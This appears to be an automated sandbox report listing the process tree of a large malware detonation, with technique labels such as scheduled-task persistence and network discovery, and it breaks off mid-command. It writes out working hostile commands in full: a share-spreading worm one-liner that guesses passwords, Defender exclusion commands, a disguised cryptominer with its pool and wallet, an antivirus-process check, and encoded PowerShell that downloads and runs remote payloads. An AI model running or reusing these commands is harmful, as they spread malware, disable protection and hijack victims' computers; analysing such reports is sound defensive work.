C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powercfg /CHANGE -standby-timeout-ac 0 & powercfg /CHANGE -hibernate-timeout-ac 0 & Powercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0005⤵
- Power Settings
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exepowercfg /CHANGE -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\SysWOW64\powercfg.exePowercfg -SetAcValueIndex 381b4222-f694-41f0-9685-ff5bb260df2e 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0006⤵
- Power Settings
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /v:on /c @(for /f "usebackq tokens=1" %i in (`@net view^|find /i "\\" ^|^| @arp -a^|find /i " 1"`) do @set str_!random!=%i)& @for /f "usebackq tokens=1* delims==" %j in (`set str_`) do @set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=IMG001.exe& set n=1908& @if not "!s!"=="%COMPUTERNAME%" @echo connect to \\!s! & (for /f "usebackq tokens=1" %j in (`net view \\!s!^|find /i " "`) do @echo f|xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\!s!\%j\!f!" 1>nul && @echo copy to "\\!s!\%j\!f!") & @net use * /delete /y 2>nul & @(for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 1 123 %u !n! "") do @ping -n 3 localhost>nul & @(for %c in (\\!s!\C$ \\!s!\Users) do @echo connect to %c %p %u & @(if not "%p%u"=="01" net use %c "%p" /user:"%u") && @((echo [Section1] & echo p=%p %u)>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & @(for %d in ("%c\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Users\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\All Users\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\!f!" "%c\Windows\Profiles\%u\Start Menu\Programs\Startup\!f!" "%c\Windows\All Users\Start menu\Programs\Startup\!f!" "%c\%u\!f!" ) do @echo f|@xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" %d 1>nul && @echo copy to %d) & @echo nul>"C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe:P" & net use %c /delete /y 2>nul & @ping -n 20 localhost>nul)))5⤵
- Indicator Removal: Network Share Connection Removal
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c @net view|find /i "\\" || @arp -a|find /i " 1"6⤵
- Network Service Discovery
-
C:\Windows\SysWOW64\net.exenet view7⤵
- Discovers systems in the same network
-
-
C:\Windows\SysWOW64\find.exefind /i "\\"7⤵
-
-
C:\Windows\SysWOW64\ARP.EXEarp -a7⤵
- Network Service Discovery
-
-
C:\Windows\SysWOW64\find.exefind /i " 1"7⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c set str_6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net view \\10.127.255.255|find /i " "6⤵
-
C:\Windows\SysWOW64\net.exenet view \\10.127.255.2557⤵
- Discovers systems in the same network
-
-
C:\Windows\SysWOW64\find.exefind /i " "7⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\01.exe01.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fscan32.exefscan32.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\RD.exeRD.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPing.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingAgent.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM FastPingService.exe4⤵
- Kills process with taskkill
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingAgent" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingAgent.exe\"" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "FastPingService" /tr "\"C:\Users\Admin\AppData\Roaming\FastPing\FastPingService.exe\" /boot" /sc onlogon /f /rl highest /delay 0001:304⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingAgent"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /Run /tn "FastPingService"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ic2rentf\ic2rentf.cmdline"4⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEC3D.tmp" "c:\Users\Admin\AppData\Local\Temp\ic2rentf\CSCF8BF7FE194F43BE9AC9F868EE822A33.TMP"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "4⤵
-
C:\Windows\SysWOW64\mode.commode 30,205⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 105⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"5⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 35⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\TempDel.bat" "4⤵
-
C:\Windows\SysWOW64\mode.commode 30,205⤵
-
-
C:\Windows\SysWOW64\timeout.exetimeout /nobreak 105⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"C:\Users\Admin\AppData\Local\Temp\NanoCore.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F /IM EdmsLauncher.exe4⤵
- Kills process with taskkill
-
-
C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"C:\Program Files (x86)\Minervasoft_KBInsu\EdmsLauncher\EdmsLauncher.exe"4⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show sslCert ipport =0.0.0.0:150025⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http delete sslCert ipport =0.0.0.0:150025⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add sslcert ipport = 0.0.0.0:15002 certhash = 873ba9adcf0babcf88bef9a12004a41ea9b49274 appid = "{9C2B08E6-A284-4B0C-A742-392C203C90F0}"5⤵
-
-
C:\Windows\SysWOW64\netsh.exe"netsh" http show urlacl url = https://+:15002/EdmsLauncher/5⤵
-
-
C:\Windows\SysWOW64\netsh.exe"C:\Windows\System32\netsh.exe" http add urlacl url=https://+:15002/EdmsLauncher/ user=BSQDIXJE\Admin5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\setup_smart.exesetup_smart.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-217VP.tmp\DowOnline.Installer.tmp"C:\Users\Admin\AppData\Local\Temp\is-217VP.tmp\DowOnline.Installer.tmp" /SL5="$10B18,13495130,780800,C:\Users\Admin\AppData\Local\Temp\a\DowOnline.Installer.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exedelfino-g3.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-6KGV7.tmp\delfino-g3.tmp"C:\Users\Admin\AppData\Local\Temp\is-6KGV7.tmp\delfino-g3.tmp" /SL5="$50804,30692187,121344,C:\Users\Admin\AppData\Local\Temp\a\delfino-g3.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\37cqsj.exe37cqsj.exe3⤵
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /setupsucc4⤵
-
-
C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe"C:\Users\Admin\AppData\Roaming\cqsj\cqsj.exe" /autorun /setuprun4⤵
-
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\pieletJF.exepieletJF.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i https://nodejs.org/dist/v18.20.5/node-v18.20.5-x64.msi /quiet /norestart4⤵
- Use of msiexec (install) with remote resource
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\x64-setup.exex64-setup.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\build.exebuild.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener2.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\69332A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\n4mtjlre\n4mtjlre.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9AFA.tmp" "c:\Users\Admin\AppData\Local\Temp\n4mtjlre\CSCFF7CC65F37D4404B94C9650A4BF6274.TMP"6⤵
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe envifa.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\D3F2A7F.ps1"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tvbzmox3\tvbzmox3.cmdline"5⤵
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4BC1.tmp" "c:\Users\Admin\AppData\Local\Temp\tvbzmox3\CSCD3216FF1CF824741B064BCCA5292984.TMP"6⤵
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\\RegSvcs.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol11.exelol11.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Helped.wks4⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\g64.exeg64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\tlp.exetlp.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\cd4.execd4.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c cls5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe1488.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1488.exe"C:\Users\Admin\AppData\Local\Temp\a\1488.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\MIse.exeMIse.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\1210.exe1210.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\bsg.exebsg.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\a\Windows.x64.silent.CPU.exe"4⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "WindowsUpdate64" /tr "C:\Windows\system32\WindowsUpdate64.exe"6⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Windows\system32\WindowsUpdate64.exe"5⤵
-
C:\Windows\system32\WindowsUpdate64.exeC:\Windows\system32\WindowsUpdate64.exe6⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Windows\system32\WindowsUpdate64.exe"7⤵
-
C:\Windows\System32\cmd.exe"cmd" cmd /c powershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & exit8⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath @(($pwd).path, $env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"9⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"9⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\system32\Microsoft\Libs\sihost64.exe"8⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows/System32\svchost.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.supportxmr.com:443 --user=476eFXubaxjAwgdtpzHdpzJTQVvjyJTbebFDP3PvfuK1WU3ewDs8tqbf9ZjweyP7EuFELXFPcMrUFiuSajv3HXvZSfyDUuS --pass=SilentMiner --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --tls --cinit-stealth8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol.exelol.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"C:\Users\Admin\AppData\Local\Temp\35603d5b1d\Srfuhxm.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lol1.exelol1.exe3⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c cmd < Promoted.wp54⤵
-
C:\Windows\SysWOW64\cmd.execmd5⤵
-
C:\Windows\SysWOW64\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
C:\Windows\SysWOW64\findstr.exefindstr "bdservicehost ekrn AvastUI SophosHealth AVGUI nsWscSvc"6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exePinaview.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-CGK1U.tmp\Pinaview.tmp"C:\Users\Admin\AppData\Local\Temp\is-CGK1U.tmp\Pinaview.tmp" /SL5="$10E28,5716409,740352,C:\Users\Admin\AppData\Local\Temp\a\Pinaview.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"C:\Users\Admin\AppData\Local\Temp\PReflector64.exe"4⤵
-
C:\ProgramData\bnv_Valid\PReflector64.exeC:\ProgramData\bnv_Valid\PReflector64.exe5⤵
-
C:\Users\Admin\AppData\Local\SignHandler.exeC:\Users\Admin\AppData\Local\SignHandler.exe6⤵
-
-
C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe"C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" "C:\Users\Admin\AppData\Roaming\bnv_Valid\XPFix.exe" /u6⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\123.exe123.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -EncodedCommand YwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACQAZQBuAHYAOgBUAEUATQBQAFwAcgBlAHMALgBiAGEAdAAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AcgBlAHMALgBiAGEAdAA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACIAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcwAuAGIAYQB0ACIAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuAA0ACgA=4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\res.bat" "5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAiAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABjAG0AZAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAnAC8AYwAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcADcAegAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwA3AHoALgBkAGwAbAAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcADcAegAuAGUAeABlACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwA3AHoALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAFIAdQBzAHQATQBlAEQAZQBiAHkAZwAuAGUAeABlACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBSAHUAcwB0AE0AZQBEAGUAYgB5AGcALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAGwAaQBiAGMAdQByAGwALQB4ADYANAAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBsAGkAYgBjAHUAcgBsAC0AeAA2ADQALgBkAGwAbAAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAGwAaQBiAGMAKwArAC4AZABsAGwAIABoAHQAdABwAHMAOgAvAC8AZwBpAHQAaAB1AGIALgBjAG8AbQAvAGQAMQBvAHYAdQAvAHAAbwBuAC8AcgBhAHcALwByAGUAZgBzAC8AaABlAGEAZABzAC8AbQBhAGkAbgAvAGwAaQBiAGMAKwArAC4AZABsAGwAIAAmACYAIABjAHUAcgBsACAALQBzACAALQBMACAALQBvACAAJQBUAEUATQBQACUAXABsAGkAYgB1AG4AdwBpAG4AZAAuAGQAbABsACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBsAGkAYgB1AG4AdwBpAG4AZAAuAGQAbABsACAAJgAmACAAYwB1AHIAbAAgAC0AcwAgAC0ATAAgAC0AbwAgACUAVABFAE0AUAAlAFwAUgB1AHMAdABNAGUALgBlAHgAZQAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AZAAxAG8AdgB1AC8AcABvAG4ALwByAGEAdwAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AUgB1AHMAdABNAGUALgBlAHgAZQAgACYAJgAgAGMAdQByAGwAIAAtAHMAIAAtAEwAIAAtAG8AIAAlAFQARQBNAFAAJQBcAEQAZQBiAHUAZwBDAG8AbgBmAGkAZwAuAGIAYQB0ACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBkADEAbwB2AHUALwBwAG8AbgAvAHIAYQB3AC8AcgBlAGYAcwAvAGgAZQBhAGQAcwAvAG0AYQBpAG4ALwBEAGUAYgB1AGcAQwBvAG4AZgBpAGcALgBiAGEAdAAgACYAJgAgAGMAZAAgACUAVABFAE0AUAAlACAAJgAmACAAcwB0AGEAcgB0ACAAUgB1AHMAdABNAGUALgBlAHgAZQAgACYAJgAgAHMAdABhAHIAdAAgAFIAdQBzAHQATQBlAEQAZQBiAHkAZwAuAGUAeABlACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACIA6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c curl -s -L -o %TEMP%\7z.dll https://github.com/d1ovu/pon/raw/refs/heads/main/7z.dll && curl -s -L -o %TEMP%\7z.exe https://github.com/d1ovu/pon/raw/refs/heads/main/7z.exe && curl -s -L -o %TEMP%\RustMeDebyg.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMeDebyg.exe && curl -s -L -o %TEMP%\libcurl-x64.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libcurl-x64.dll && curl -s -L -o %TEMP%\libc++.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libc++.dll && curl -s -L -o %TEMP%\libunwind.dll https://github.com/d1ovu/pon/raw/refs/heads/main/libunwind.dll && curl -s -L -o %TEMP%\RustMe.exe https://github.com/d1ovu/pon/raw/refs/heads/main/RustMe.exe && curl -s -L -o %TEMP%\DebugConfig.bat https://github.com/d1ovu/pon/raw/refs/heads/main/DebugConfig.bat && cd %TEMP% && start 